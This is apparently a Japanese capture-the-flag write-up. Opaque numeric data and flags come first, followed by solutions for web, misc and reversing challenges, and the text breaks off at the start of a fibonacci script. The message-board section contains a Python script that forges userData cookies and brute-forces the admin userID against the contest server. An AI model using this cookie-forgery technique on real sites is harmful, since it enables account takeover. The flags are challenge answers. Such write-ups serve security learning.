45m99a44m29a43a96a74m12m36a45m7m12m72a23m9a16a100a100m75m78a72m24a76m75a50a21m14a33a88m68a74m3a23m32a60m29m79a81m42a58m15a28a86m18a24a69m35m19a13a40a88a26a35m83m26m92a77m8m7a4m38m82a9m80a71m96m61m83m64m9m47a22a49a73m44m32a17m78m4m67a34a25a36a60a2a10m76a11m3a10a46a9a18m66m99a100a31m72m28a99a25m99m88a68a75m18m19a83a48a99a16m23m52m88m75m72a43m25m70m77m73m41a41a65m67a82m13a6m42a99a85a48a33m46a83m87m96a95m28a12m34a35a48m10m11m36a87a70a76a81a42a44a32a29a43a46m16m69m50m60m42m86a57a83a60m3a71a71m55m92a88m50a49a13m56m14a40a29a6m81a54a65a61a13m12a28a70a67a70a6m65m19a71m66a67a92m58m66a9a96m1a53a52a81a61a77m68a14m96a79a14a5m54a11m43m58m96m39a2a55a44m85m73a79m83a76a13m31a18a42m85a77a61m33a92m5a89a49m67a30a88m18a7m34m90m44a48m39a25m72m38m96m24a34m13a21a24m28a73m94a10a37m28m74a72m58a81a43a15m90m17a43a80a87m87a44a99m80a91m64m90m55m86a42m75m27a9a10a100a31m53m79a78m16m71m15a39m13a48a72a16a47a89m15a9a64m83m74a81m75m87a52a87a34m5m11a33a100a38m21m73m65a14m70a94a43m77a97a22m26a45m12m2a80a36a74a79a54a78a11a93m66a3m87a23a11m25a96m34m100a34a1m92a22a5a47a77a30a81a52m29m21a34m97a63a57m62m51m53m78a64a56a36m62a76a79a43a29a9m9m86a82a26a42a93m5a11m45a23m14m54m97a75m25a47m76a49a84m8m28m27a96m15m60m81m42a12m88m48m82a45m52a28a23a15m16m36m57a47a4m84m97m80m22m2m53m30a96m74a34a10a86m3a88m29m12m67m28m32a68m72a5m55a4a87m21a2a47m42a54m4m89m3m90a63m12m22a26a85m100a22a58a12m64a21m29a45a16m72a33a50a30a97m16m61m91m35m63a12a69a100a26a49m13a55a19a10a85a54m52a76a68a61m81m96a18a80a15a36a47a46a78m97m13m71a66m20m63a15m48m46m49m64a74a43a42a79a1a51a99m70a100a38a61m74a33a98a64a85m26m48a96a21m44a20m34a62m21a49a40a32m51a3a51a62a68a26a9m28a32a60m95a6m72m26a67m64m30a9a83m10a89a87a28a23a55m5a89a43a93a37a73m83a63a57m28a13m11m46m96a60m78a4a89m10a74a28m35a97m70a90a96a62m100m40m1m27a91m34m68a18m42m55m54a44m7a83a27a71a51m17a64a52m2m28m23a14a59a3m38a47a90m52a37m93m86a88a92a46m99a44a39m100m9m48m93a38m71a17a57a41m89a3m70a96a100m82m57m36a27m90a83m7a13a11a63a11a81a64m39a54a69a72m63a70m61m89m85m22a1m60m54a98a3m87m60m52m31m34a50m15m93m84m52m19a43m7a21m81a86a22a24a9a24a51a69m53m24a95m83m40m31m57m26a26m56a20a76a92m88m83m83m52a93a76m47a71a24m52a49a8a33m28a99m90m18m18a38m72a55a5m57a30a37m92a61m62m84m92m9a12m57m7a76m39a63m83m78m54a3m1a69m16a13m99m6a37a21m51m25a9a76m90m37a43a38a77a54a10a25a7a30m12a26a40m5a75m45a47m38m55m52a93m44m98m44m67a59a70a91m40m42m60a3a83a45a82m93m91a54a65m20a60m22a3a59m81a11a37m100m62a35a54m33m5m2a77a60m24m22a96a32a92m93m56m15m56m19a64a67a44a44m58m88m4m64m65m46m15a12a32m8a70a41a38a90m93m57a64a44a1a86a69a70m99a91a46a20m63m43m3m96a39a74a70a45a42m87a81m9m8a88a34a92a99m6a25a87m55a57a15m32m81a56a70a67m94m69a17a91a87a42a7m27m91m28a60a18a66a56m24a22a9m32a55m46a80a39m4a85a91m55m3m10m73a95a54a62a34
:743494575
293m719a336a336a718m444a995m600a98a391a561m479a441m29a92a811a399a323a511a718m682m543a144m916m825m336m477m977m415m321a35a24a550m585m508m356a299m889a640a265a867a140m494a619a836m724m606m186m531m383m473a707m652m987a198a32m54a302m60a147m946a927a622a883a60a619a129a858m580m875m841m616m904a275a119a532a854m674m873a689m2a257a299a643a785m262a583a743m107m996m636a761a308a96m184m500a707a748m1000m437a639m588a818m88a910m412a799a387m26a171m441a732m550m524a217m10a317a872m352m591a235a883m737m728a511m235m285m908m593m323a607a828a576a407a49a415m820m451a501m455a61a162a265m26a656a391m386m626m550a949m672a775m796m154m12m285m187m1a732a824m867m419m498m471a522m355a567a667a79m6a559a444a866a578m823a228m87a209a334m282a316a255a461a991m88a344a421m586m902a626a708a356m228m649a990m502m663m833a57m547a395a260m864m592a356a456a521m958a798a746m700a894a591m641m679m429m337m689a896m129m928m424m316a558a241m794a761a240m820a233a28m792a154m232a952m63a713a960a104a731m427m990a493m564m843m783m215m966m492m875m245m328a898m434m89a473m467a880a776a198m309a828m84m890m955a507m997m248m908a372m165m393m811m186m875m310m799a55a715m920m612a154m996m778a492a551m870a184m92a716a118m684m45a319a917m777m757m743m616m448a260a377a694a85m565a791m90m159m554m561a788m814m670m640m547m621m271a995m468m239m465m825a206a420a253m38m54a766a482a826a868m7a602m190a836a554m451m104m908m697a760m408a383a47m121m261a832a430a223a144m326m177a954a31a512a61a169a811m479a394m714m661a512m155a589a201a661a801a163m391a143m932m814m457m152m501a149a622a614m849a512a668a721a803a821a473a670a825a94m3m30m37m979a199m605a912m598m396m421m44a284a369a185m841a729a558m25a977a634m585a87a805a712a156m506a21m71a699a73m455m965a246m53m960a623a85a259a150a168a387m407a200a301m724a13a313a622m851m589m726m498m287a472a445m535a705a144m456m169m102m419m477m620a943a316m935m204a572m787a566m360a729a68m381m495m540a116m754a949a335a918a478a245a113m414m971a988m377m934a395a195m782a354a757m160a405m139m389a386a2m579a342a620m27m733m208a584a592m701m898m62a209m327a532m520a235a36m79m328a526a873a90a656a660a714a608m981m524a591m906m681m968m316m185a842a878m886a804a275m313a21m819a4a238a317m849m623m532m602m154a154m175a594m519m374a795m970m401m644m948a211a289m880a169a225m646m588m582m928a760m902m897a347m113a4a794a920m398a201a73m763m137m729m145a494a999m827a148m190a331a597m895a807a583m982m755a707a440a31a906m614m202m748m99a145m769a332a127m156m593a232a690m600a918a214a152a439m11m969m946a286m991m197a544a357a135m335a44a640m592a857a447m247m308m660a566m651m17m939m312a792m506a288a677a246a394m910a34a38m4a47m139a708m30a60m539a29a584a385m607m54m481a494a304m202m834m122m452a437m742m509a971m14m638a826a643a340a640m411a874a949m568a841m476m936m706a774m441m838a181a804a295m845a771a610m431m520a933m160m962a940m948a592m663m547a616m426a110a606a996a214a799m96a561a615m432m842m328a700m335m597a841m138a619a169m461a886a919m995a628m956m711m383a472a102m6a160m879a830a382m558m370m215m732a379a799m718m387m396m300a341m877a417a201a999m216m732m538m831a499a714a219m1000a94a877m349m217a227m933m808a549m563m316a344m843m602a791m579m297a150m120a778a911a892a732m115a784a86a237m888a435m74m369a762a422m510a442a456a199m403a199a285m269a421m579a405m213a45a55a151m503m428m593m136a390a901a985a199a726m637m298a553a125a27m48a614a810a545m767a499m446a729m719a100m383m618m50a99m902m551a223a10a467m614a161a335a817a236a219a394a959m706m224a742a910a955a418m324a81a191a945a419m785m938m7a295a349a669a943m241a329a889a133a831a734m120m309a570a726a765m131a235a971m552m510m271a436m951a579m510a929a481a644m440m196a67m203a972m180m713m565m348a218m857m999m73a572m231a571a770a659m506a129a705a816a526m976m590a111a999a964m828a136a795m598a89m248m387m749m821m244a191a995m780m527a165a202a658a67a590m431a24a648m442a121m170m782m292m925m953a477m413a638m22m985m835a980a307m916m15a413m884a563a770m876a39m843m415a565a475m581m158a613a556a832a880a377m274a216m69m384m819a699a543a682m22a202a27m760a935m757a237m406m237m93a798a819a317m401m800a319m253a666m573a188m681m397m612a808m45m632a21a5a656m854m95a299m102m372a700a41m928m740m223a192m533m366a672m716a661m363m968a435a389m357a357m642a869m223m127a544m794m579m658a540a825a807a1000m588a583m111m839a281a579m162a657a262a470m152m168m193m696m558m701m149a633a812m583a988a900a772m286m517m456m164a808m760m694a13m427m800a604a77m737m795a121m903a356a512m906a281m198m8a961m495m103m580a829a906a175m310m926a126m714m345m913a52m558m895a929a907a833a93m659a908a172m219a775a298m91a512m348m93m119a955a415m985a72m781a610a218m143m933a931a268a620a235a616m642m67m944m847m997m850m379a879a278a737a533a312m148m427m684a531a352m420m216a972a798m655a250m423a42a456a989m859m752a244m524a207a762a175a508a603m170m333m199a494m786m154a808m460m954a687a655m918m124m188m341m441a324a632a519m712a522m506a795a335a748a917a922a143m631m954m902a877m359a589a852m95m802m573a317m471a526a514m559a893m796a708m152a373a468a833a206m300a832a75a634m402a312m376m11a95a308m919m969m566a676a143m274m947a192m461a875m51a967a81a696m69m842m697a783a828a833m243m719m197m70m333a640a346a37m548m166m113a940m748m667a196a346a760a944a720m980m362m703a970m815m894a395a852m23a357m130a98m147a285m44a603m406m724m598a687m30m800m497m398m61a628a666a467m657a266m703m730a463m5m222m693m384m844m957m496a974m618a812m585a180a311a831a17a70a936a646m704a815a269a147m727a192m555a890a529a22m235a380m677a461m781m315a929a704a867a777a410a406m686a153a889m135a17a773a893m622m867m950a542m537a648m856m693m943m630m845m475m767a10a338m983m199a68a77m940a146a537a495m311a352m569a145m600a360m367a879m329m428a807a859a606m407a572a954m297m743a4m685a945m65m520a656m467a827m943a55a640a874a482m384a618a580a457a571a184a364a796m872m546a566m882m830m946a642a94m633m434m317m740a186a913a69m356m620a360a963a68a542a40a583m381a727a902a224a330a13m30m623a256a701m517a759a68a207a357a225m855m994m19a574a630a922a217m159m381m757m543a145a456a950m818a416m981m860m44m417a59a323m34a989m720a93m949m519m274m798m602a757a689m209a797m731m339a351m88m508m157a420a599a173a722m459m238a679m446m73m419a5a120a993a292a455m652m897a984a390m360a378m712m92m101a656a233a579m781a917m488m363a154m484a20a945m109m60a213m816a577a283m638a791a436m474m493m62m709m537m336m347a909a446a88m326m902a502m537m934a301m187a585m544a202m489m672m395m626m916a120a500a975m766m776a245m604m978a963a903m127a740m444m354m169m96a241a947a927m657a810a290m463a739m756a952a32m495a380a686a577a14a166m510m298a506a781a387m960m504a929m936a866m770a790a590a460a933m929a955a562a39m559m177m771m769m961m642a260m66a198m440m516a438a647m524a160a862a918a642a654a427m426a191m782m877m369m767a647m118a876m13a797a57m440a146m319m603m374a53m615m91a836a849m1000a566a600a87m536a670a779m112m158m112a148a192m756a300m600a19m69m857a161m918m532a151m839a259a735a981a737m549m821m239a564m506m396m70a546a183m849a126m683a72m394m521a901m125a448a129a275m452m457m224m399m526m106m939a843a771a907m316a850m883a223m983m789a840m615m768a638a68m219a199a41m590a558m839m920a232a858m240m595a855a888a455m26a77a51a497a600a621m343a510a376m811m294a286a548m572m293a509m114m594m476m955m425a337a738a335m94a498m913m388a755a550a682m194a83m62m406a526a954m14a436m560a174a99a823a398a380m580a713m415m37m660m496a867m92a933m282a857m224m939a351a154m468m264a639a713a304m353m578a425a712m161a697m405m400a877a480a979m956m239a899m773m962a958a333a903m909m373a862m89m216m868m89a798m359a486a937a983a666m188m657a529a428m377m988m614m405m710m506a690a859m54a982a934m898a220a158m433m842a173m789a919m855m345m579a969m97a390m898m833a479m40a839m792m364a293m789m895a806m528a696a619m966m916m637a102m650m968m443m765a943m689m88m433m973a791m645a612m604m573a789a303m677m111m889m395m977m959a293m573m130m79a201a289a581m454m880a439a676a27a132a920m6m609a490a463a281a677a889m211a81a529a476a204m406m687a102a773a13a199m971a963m62a234m706m778a337m738a655a906m49m842a149m821m869m586a771a699a752m168m476m101m956a822m617a437m74m73a109a562a454a226m716m342a519m195a462m770m918a525a663a851m760m256a381m430a710a355m17a608m591a318m603a929m57a990m297m518m570m761a814a130m318m154m585a843a755a699a40m965m509a863a892m293m101a119a530m671a638m139a152a311a587m580m481m625a363a182m634a616m431a794m825m194a156a948a537m344m726m772m797a564a948a488a658m683a822a517m108m1000a210m71m870m708m382m176a646m859a400m544m57m638m753a550a380a770m342a157m966m419m973m427m307m126a216a9a403m4a944m187m838a992m393m175a576m327a841a962m912m959m792m994a713m870m124a472m408m463m694m927a327a670a625a808a336m191a813m699a955a433m91m893m7a163a383a325a684m586a117m138m1a739a7m425a759m972a193m500a694a847m109a696m401a232a346a962a955m162a584a272m697a624m473a642m265m570a316a257a137m863m512a866a659m22m75m739a407m32a743a448a274a237a707m587a352m691m183a770a683a458m86m45m803a808a733a878a991m939m992a701m551a88m859m205a891a696m631a777a65a316m205a620a227m579a74a910a737m63a675a203a706m605m248m628m805a226a268m650m428a308a63m931a322a581m665a554a60a106m435m429m412m767m825m697a166m109a981m726m79a72m527m980m601m604m906m943a996m64a983m794m105a76m272m219m832m992a957a295m841a456m362a898m599m712a175m709m265m469m642m536m156m154a348a586m313m818m289a981a751m154a467a267a732a100m145m86a346a605m831a225a684a413a882m380m606m618m602a734a254a101a663a59a139a850m583m64m598m229a826m359m229m654a737m63m482a459a349a492a919a558a391m269a728a443m191m175a78a516m459a989m41a533a252m723a499m39m553a200m989m47a423m272m980m797a6a585a971a48a660a369a158m920a527a955m506a688a698a758m137a830m342m602a688m751a191a658m552m883m867a690a556a489a884m68a235m300m214a178a80m506m209a721a452m653m682a411a355a322m523a929m279a287m442m930a246m943a377a256a78m411a212m221a234a368m449a547m88m797m455m234m415a696a305a27m204a520m695m673a662a773a16a291m602m895m98m143a324a498a359a461m602m952a873m745a797a230m750m538a488a482a910m281m882a341m32a514m27m732m615a874a937m448a726m313m139m229a395a896m252m255m514a152a714m449m828a270m164m826m239m2m291m957a449m259a5m939a673m234m986m432a103m34m283a792a176m632a924a383m299m682m563a376a907a786m464a714a769a556m824m439m647a576a85a199m240m16m517a263a89a722m212a308m429m795m926m655m528m130a336a604m650m316a465m311m914m740a735m837a595a444a87a530a75a854m992a510m68a938a99m548m102m527a427m666m96a682m931a366a340a471a107a37m842m183a78m412m903a875a898a896a415a239m217m877a176a424a198m496a801a865m382a690a765m885a48a804m990a727a301a27m277a830a285a948a681a266a937m212a787a471m450m720
:2115928545
6469a4442m2928a2163a5572m986a9024m3743m8918m6696a2376a6944a8914a4490m6008a5471m935a7265a8057m9217m8282a6498m8396a2788m3271a6112a242a8610a7977m2664a5700m1731m7083a4013m4351m3107m8142m4415a5469m8505a1248a8259m9364m2371m7848m1136m2065a8493a5600a4013m1146m301a1444a5822m9806a2236m8493a9801m8972m8925m975a5890m1308m7159m15m1332a7024m2057m6026a6627a7479a3923m939m7046a8940a2333m2896m5822a2649m942m2276m5897m3571a2999a6323m8469a3984m382m4489a5233m8809a8353a1221a5487m5357a9548a6591a4002a6489a1073m6779a8990m1664a5729m4928m8788a1084a7372m8294m9556m4949a240a8361m5024a5678m5500a3145a2747a6543a5730m4728m7194m4116a9279a3898m8969a4352m1055a8532a1054m7977a3430a8516a1215a7984m6395m9367a7031m6691m1659a1621m2011a513m6916m8780m1121m4656a4905m679a5771m9719a476m766a555m9673m7995m2185m8813m7931a1131m9338m770m6943a3062m8839m4086m9988m3335a6451a3832m434m331a7011a7610a144m8770m368m2349m8832m6377m6694a1626a5086m7758a7720a6578a1112a6317a9501a301m3779a1303m7701m2539m3205a4561m2956m6047m8700a6777a6833a2467m3802m4937a2924a5383m8501a4645m8549a8558a9818m7513a3682m8590a344m2099a8190a6797m5678a6115m9735m5132m6317m9847a6563a7813m6932a1026a6769m625m4269a7067m9598a2161m8702m1716m4608a4971a9769m4868a1565a2607m5698m1769a687m4764a7389a6234m4036a8734a2313m3773a6892m9006m3603m1496a8488m4257m256a7430a3894a6923a3298m2398m7260a6525m4745m2254a4881m8466m1348m4289a2689m1374m7059a9389m5599a1288a3029m5654a3312a8936a5383a5361a7719m3243m5905a8137m8140m5235m4330a9604a5921m1226a2066a7589m4138m60a5m5492m8129m3422a3711a9399m4411m8407a2446a639a405a4143a2908m3087m6310a3236m2055m1816a8220a2543a8104a3111m5391m5787a7310a9053m5698a4705a5439m1560a3557a3080a3944a1774a4571a1629m4805m9649m4303m1590a4035a9482m6391a1516m4125m3583m2404a3272a7728a4583m8477m2862m5117a9369a5225a5891a169m8160m7061m630m2835m6111m4785m1276m3562a203a9981m9601a9379a8216m9345a8073m9631a5473m4659m3800a322a4365m296m2805m8815m1475a4112m3822a5810a6399m3011a7414m6647m8414m3069a2238m4676m9644m6296m3141m4122m1638m715m6448m6872m438a5704m4071m6543a7742m4896a5397a4224m1168m544a7532m9359m3129a5495m3041m3536a4744m3050a1060a2997a6529m4135a9330m2386a6504a8785m8520m6702m3184m9266m9432a6383m2051a9848m4554a3856m4146m4660a541a4372m419a1653m1052m9177m2732a4734a5335a4326m1352a9507a1604a3309m4511a9375a2131m137m8420a1317a789a9386a3510m4218a1861a6476a4776a5251m3200m3680a7915m7024a8249a8299a5279m340m8503m1729a3753m3452a5482a2406m1554m1238a2984a821a6508a7644a1908m6009m4036m5838m9669m3829a7033m3563m6983a876m9708m5251a159m6046m5647m1304a2942a124a1531a5689m9371m3901m4113a1459m7215m3004m8794a9989m4045m8814a329m6493m2805m2281a8073m8605m7528m2910m9594m9601a2191m9817m4480m1253m3955m272a4036m6052a7072m1771m5381m3798a7210a6757a207a4814m650m2485m2967a4279m345m7476a8108m7334a9210m8430a2932m4430m4572m19m2908m9415m8564a6970m2602m6825m5490a540m7968a9295a8040m4428m301m9794m4946a865a4963a1760a174m1145a5713a8331m2884a967m41m8128m2851m8037a7009m285m9788a9572m8395a825m1840a7200m2602m452m3480a3126a5422a6675a4595m9670a5451a9241a1834m6294m1209m110m8585m5408m1883m54m4826a6374a2127m7148m9953m15m4292m8424m3409m3242m3390a3027a7305a7427m3019m9311a463m6490a7221a9807a5785m9701a4347m1568a7840m3581a3972a2218m2882a1209a1258m7835a7523a1901m8651m1836m4544m1462a5714a6126a5400m7989a1649m8624m4370m1865a8987m9178a2105a6566a1845a6305a1756m4732m3380a9377m5367m1183a1938m1342a5680a1492a3845a2409m2808a2750a9300a813m988a8346m2943m9313m6277m5840m9301m6383a334m9953a4187m7891a6406m4767a5520a6997m4694m3250a9434m6194a9201a888m8036a4956a3638m149m3421m960m6574m9019a7654m4140m2098a4750m4372a5571m1130m3428a6245m1665m8242m2022a9934m5608a8381a598m2833a7457a9981m4935m8957a5846a9655a2336a3274a1492m7957a5094m474m2802a1011m7761a3586m5427m9083m4677a8140m7830m2213a8390a5348m1713m1076a2087m4242m4478a7535m9897m4156m6604a8209a5259m3030m480a7538m4762m4640a2693a7500a7240a9570m1046a2616m2159a6882m2577m308a8382m4675a1399a8295a7871a7660a8895a7740m7410m6730m5547a404m5625m713m248m2432a7164a9769m8149m7915a2578m5581m3872a5106a9765m4814a1042a6167a3349m9595m5049m8855a9414m191m3682a4034a6968m1725a1967m1793m5481m3298a8665m5241a1389m1557a6179a4304m2236a5176a2796m8971m2942a5506a4625a9058m1572m4236a6586m6185a1487m4076m6788m3333m2593m3205m6106m7339m4920m2489a7280a5244a3667a6664m1230m6584m7086a5729a2178a8762a8705a8899m5439m7158a1837a5865a377a1086a3341a9129m1923a7446m1106m4739m2334m1247a7593a3078m4652a1495a1680m8054m6305a1150m5200m80a4766m8766m2512m791a7320m3579a8874m4527m5487m1960a2023m1935a1850a9883m9583m6793m9364a3284a917a692a8901m3501a6096a6869a5004a5799m9760a2470a1128a3107a2160a228m1140m5597m7882a23a6505a1661m1082a831a8144a2865m5143m5355a6585m868a7472a8562m7941a1314m4358m2217m8447m854m267a9554m3602a7228m6693m5562a2918m7861a1879m6641m8793a7571a9236m3289a3145a9527m6081m6795a8613a1707a3102a7170a7540a4246a2575m7339m2629m1862a2551m750m1406m3070a5694a5076m5069a5213m3994a778a9399a7064a2514m5359m432m4197m8472m2873a4324a4361m4010a2828a738m8199m8671m552m1821m1727a8869m9017a9495m9752a9912m6229a7631m2829m2299a833a2873m1330a7647m329a8105a9839a1052m3314a7530a686m9340m9333a4275m3677m3179a2841a3738a7027m7215m3239m4616a5037a7087m93m4871m7096m9246a8834m7820m337m3772a1617a6717m2857m6380m613m9985m7900m282m649a7268m231a3598a1189a646m5811a4535m7876a1907m3578m3294m4823m4737a7480a8285m7822m6347m175m388a2793m3847m2527a3638m8797m7071a750a3620a3212m968m7057m1834m4194a4081a3185a6115m477a9572a9919a2291m4651m943m2483m1791a8199m9730m3560a9842m3131a5728m4922m3861m3582m3027a7260m6582m4526m9084a8393m1261a4767a9951m9945m407m3290a3845m3699m9429m1274a1332a8226a1523a6098m9280m6704m9227m3230a6466a7659a8292m1005a1585m8578m7122m6560m7717m4203m9872m8303a2427a9241a9040a490a7663m541a6272m2431a979a537m1268a6091a5563m7950m2513a4388m8734a438a726a6812m8896a7367a2869m6685a1125a3561m5440a6691a6923m7755m4423a1798m1161m6377a9094m887a7079m9266m3721a3036m8629a4871a8322m4434m7000m1505m8234m6604a9266m9349m8084a3234a4153m4488m7065a6076m3899m7859a2333m9033m4590a6990a3147m6365a5889m4319m9991m6610m7149m605a5291a6162m1775m9268m2844m6736m5958m1870m5001m1139a1202m9535m3001a6884m949a5006a2693a7199a6895a9899m6421a389a588a4798m9048m793a229a7464m7446m6324a5704a3101a5904a4773m4805a4400m625m4352a2760a7396m983m6746m2725m5049a3746a4407m7116m3856m4618a5537a8778m2240a67a6237a2319m1818a8796m1337m517a2460a7000m8140m2382a8784m1931a772m3029m3591m2738a2618m6159a5431m364m7610a5375m2541a677m5586a6788m4061a8879a276m2370m9613a106m6042a6472a2519m9132m1191a6233a152m7587a4234a2166a3694m1098a2110m6907a7452a1891a2010a1449m702m8813a3152a1467m6709a9181a587a3489m3644a3688a739m9237a7452m5441m1489m464a4873m3178a2447m7784m5919m2117a3534m5230m9317m5414m3439m1691a8608a4987a2483m9449m4594a9458a3468m7621a3964m5585a7704a4576m4598m3162m9306m7064a8486m2805m1652m8858a985m1348a2786m6533m2413m2686m692a5920a8306a482a3666m8597a1a281m4043a5804m9813a5527a3551a1868m2472a4489m5299a1367m2852m8240a5558a8302m1481a7031m4747a5688a9595a2773m2460a8654m8960m8289m5445m5321m7126a1846m4536m3612m4431m9853a8120a4375a2243m8804m9491m1665m9454a7712a422m8463m5454m4703a6068a8950a3187m4262m9464m8336m5184m7506a7549a2161a775a1976a3417m8160m7819a2560a6036a9790m1117m8205a5378a2459a9082a9539a173a6390a5527a3137a6228a9893m6991a188a4756m5155m8927m751a7062m7599m4448m6494a2464m6859m973m6186a1550m7029a6109a3763m6527m6744m1240a4345a3994a791a9442m8038m378m7125m7562a9841m3483m191m8331m324m4064a7720m5611m2420a9585m5471a802a6752a7628a8588m4293a9816a5872m6867m2031a2215a1993a7075m1917a2600a6569m8306m9467a632a6234m6356a9900m7068a8128a3060a6901a9757m4725a1291m3211a4494a8727m6216a2151m5085m6297a7383m2880m8742a3659a5305m8311a3718m7137a3037a9423m7163a7519m4575a3528a505a6823a7369m4337m2841a685a8207m6166a6800a932m9321a9199a3327a5620a4803m3442a9319a1099m8771a6274m6445a5111m5499a4353a7995m995m7358m4669a8824a6821m6815m8262a8876m501m5026a6290m1558a1101a6362m8470m8699a9294m2863m2638a2676m3698a5395m6433a3902m4558m9411m2495a4448a8898a9089a667m9235a5131a9343a8378m8229m9123a2273a9260a6200a625a4616m3654a1935m8678a5554a7738a5731a7843a1342m5788a9426a8945m9626m6441a8372a8175a6548a9945a3958m4452m6883m3204a7534m1626a5017a6748m1394a6299a2326a9879a3953a765m474a526a8632a4755a1315m3761a8917m5017m9284m4902a6909a5905m1870m757a3969m8179m2509a2327m4610m2237a4897a8942m5580a9034m7440m7010m9931m2743a6189a3288m813a5273m7578m1796a1032m8372m1787m3971a7828m9621m5215m8512a2981m9246m602m620m1437m2064a3125a3296m1158a5133m3009a6401m9478a6544a9916a6530a1786a1329m266m9619m7515a1384a2416a6627m2650a4547a6566m6554a4847m4944m4596a8563a62m200m6877m958m5153m66a58a5606a6560a2364a4053a2828m2570m9901m4197a2260m867m563m6127m754m3572a899a6686a8591a2552m4958a7076a1a2494a97m5518a8745a3368a8508m3422a3716m8340m8894a3390a5310m4224a4063a4682m5762a9860m914m1991a3615a9089a5045m4872a9566m1576m3033m9754a8620m4398a6334a2179a9524m5761m7905a8749a2963a8722a9551a9788a7233a6470m3309m4558m748m5490m7764m4693m7270a5481m5282m8896a3579a6140m5847m2691m8527a2075m3375a8694m4250a146a7743m2340m5224a5675m9962a2991m1525m278a5333m9629m3109a5618m4025m9927a9207m8848a4610a2122m9883a9033m3935a1401a5946m2432m1839a7902m4610m1363a5729a317m1362m7905a4651a7088m2673a1060a6116m5592m8937a3577a1359a1085m1322a3940m9098m5678m937a4519a2805m2562m5316a3215m4763a7744a7279m8334a6063a1743a8168a5317m4060m8229a8551m9967m6995a1541a9847m8561a3470m9791a6573m8561m9724a8099a510m2159m7339m78m8354a6537m2625a5290a2051a2379m9803a7573a3961m7089a2368a3604a9847a5976a8375a2877a2716m7037m4196a481a5592m6595m2304a8775a864a274a4241m2041m680a5958a7839a2157a7613m3097a9754m7359a1345a2526a7418a3952m2751a7475a4094m8959a8211a9479a7500m9603a394m3561a313a4952a5561a9036m7524a1545m5874a8674m4816m4070a9449a835a6932a2555m6464m7933a4253m8390m6595m9790a5202a3019a1628m5569m7658a6347m7575a9654a4904a9413m585m2860a5754a3204m3253m7106a7957m7844a7391m9014a6797m833a9704a2331m1375a6639a7511m6834a4956m6513a5712a1370m4805a9225a4322m8948m9422a9136m2493a4164a589a3719a2460a5142a9450a9769a9479m3369a1712m5105a942m7235a4620a5629m6491a9473a8069a2961m7272a9781a7740a9917a4610a5043m3044a387m7239m1791m214m9229m208a6539a9806a1013a2596m5878a9830a3050a5972a4669a5105a6920a8765m7322m3788a2599a502m3152m8935m6641a5721m6802a6310m2018a6689m1451a7292m3587m5643m263a63m97a3875m1871m1939m537m9439a7744m8669a4392a5816
:736285725
b'flag{yknow_wh4t_3ls3_is_n0t_real1y_math?_c00l_m4th_games.com}'
flag{yknow_wh4t_3ls3_is_n0t_real1y_math?_c00l_m4th_games.com}

message-board (web)

app.jsにユーザ情報がある。

    {
        userID: "972",
        username: "kupatergent",
        password: "gandal"
    },

このusername, passwordでログインできる。
クッキーには、userDataとして以下が設定されている。

j%3A%7B%22userID%22%3A%22972%22%2C%22username%22%3A%22kupatergent%22%7D

URLデコードする。

j:{"userID":"972","username":"kupatergent"}

adminとしてログインしたいが、userIDがわからない。ブルートフォースしてみる。

import requests
import re

url = 'https://message-board.hsc.tf/'
userData_head = 'j%3A%7B%22userID%22%3A%22'
userData_tail = '%22%2C%22username%22%3A%22admin%22%7D'

for i in range(1000):
    userID = '%03d' % i
    userData = userData_head + userID + userData_tail
    cookie = {'userData': userData}
    r = requests.get(url=url, cookies=cookie)
    if 'flag{' in r.text:
        print '[+] userID: ', userID
        pattern = '(flag\{.+\})'
        m = re.search(pattern, r.text)
        flag = m.group(1)
        print '[*] flag: ', flag
        break

実行結果は以下の通り。

[+] userID:  768
[*] flag:  flag{y4m_y4m_c00k13s}
flag{y4m_y4m_c00k13s}

glass-windows (misc)

Stegsolveで開き、Xorを見たら、フラグが見えた。
f:id:satou-y:20210705202416p:plain

flag{this_is_why_i_use_premultiplied_alpha}

warmup-rev (rev)

暗号処理の概要は以下の通り。

・flagの長さは33
・hot(warm(cool(cold(flag))))が"4n_3nd0th3rm1c_rxn_4b50rb5_3n3rgy"と一致

■hot(t)
・adj: 固定数値配列
・tの各文字のASCIIコードにadjの該当するインデックスの数値を足す

■warm(t)
・a: tの"l"の文字まで
・t1: tの"l"の次の文字以降
・b: t1の"l"の文字まで
・c: t1の"l"の次の文字以降
・c + b + aを返す。

■cool(t)
・tの各文字で偶数番目のみ変換する。
 ・3 * (i / 2)

■cold
・末尾17バイトとそれ以外を逆にする。

逆算していけばよい。warmは一意にならないが、flagは33文字で最後の文字はcoldによる変換があるため、"}"になる想定で元に戻す。なお、coolの際にはインデックス15になるため、coolの影響は受けない。

#!/usr/bin/python3
def rev_hot(s):
    adj = [-72, 7, -58, 2, -33, 1, -102, 65, 13, -64, 21, 14, -45, -11, -48,
        -7, -1, 3, 47, -65, 3, -18, -73, 40, -27, -73, -13, 0, 0, -68, 10,
        45, 13]
    t = b''
    for i in range(len(s)):
        t += bytes([s[i] - adj[i]])
    return t

def rev_warm(s):
    assert s.count(b'l') == 2
    i1 = s.index(b'l') + 1
    a = s[i1:]
    rev_t1 = s[:i1]

    i2 = rev_t1.index(b'}') - 15 + len(a)
    b1 = rev_t1[i2:]
    b2 = rev_t1[:i2]
    return a + b1 + b2

def rev_cool(s):
    t = b''
    for i in range(len(s)):
        if i % 2 == 0:
            t += bytes([s[i] - 3 * (i // 2)])
        else:
            t += bytes([s[i]])
    return t

def rev_cold(s):
    return s[-17:] + s[:-17]

enc = b'4n_3nd0th3rm1c_rxn_4b50rb5_3n3rgy'

enc1 = rev_hot(enc)
enc2 = rev_warm(enc1)
enc3 = rev_cool(enc2)
flag = rev_cold(enc3)
print(flag)
flag{1ncr34s3_1n_3nth4lpy_0f_5y5}

seeded-randomizer (misc)

サンプルと実体のコードを組み合わせ、seedを総当たりで、フラグを導き出す。

import java.util.Random;

public class Solve{

    public static String getFlag(int seed) {
        Random rand = new Random(seed);
        char[] flag = new char[33];
        int[] c = {13, 35, 15, -18, 88, 68, -72, -51, 73, -10, 63,
            1, 35, -47, 6, -18, 10, 20, -31, 100, -48, 33, -12,
            13, -24, 11, 20, -16, -10, -76, -63, -18, 118};
        for (int i = 0; i < flag.length; i++) {
            int n = rand.nextInt(128) + c[i];
            flag[i] = (char)n;
        }
        return new String(flag);
    }

    public static void main(String[] args) {
        String flag;

        for (int i = 0; i < 1000; i++) {
            flag = getFlag(i);
            if (flag.startsWith("flag{")) {
                System.out.println(flag);
                break;
            }
        }
    }

}
flag{s33d3d_r4nd0m1z3rs_4r3_c00l}

extended-fibonacci-sequence (algo)

フィボナッチ数列の連結の和を計算し、下11桁を答える。

import socket
import sympy

